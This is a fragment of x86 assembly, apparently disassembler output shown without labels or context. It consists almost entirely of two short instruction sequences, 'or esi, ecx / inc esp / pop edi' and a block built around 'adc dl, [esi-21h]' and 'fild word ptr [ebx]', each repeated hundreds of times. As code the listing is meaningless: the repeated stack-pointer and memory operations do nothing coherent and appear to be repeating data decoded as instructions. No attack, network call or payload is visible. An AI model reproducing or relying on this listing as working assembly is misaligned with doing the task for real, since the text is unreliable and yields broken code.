		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	edx, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
		adc	dl, [esi-21h]
		add	edx, [edx]
		push	esi
		fild	word ptr [ebx]
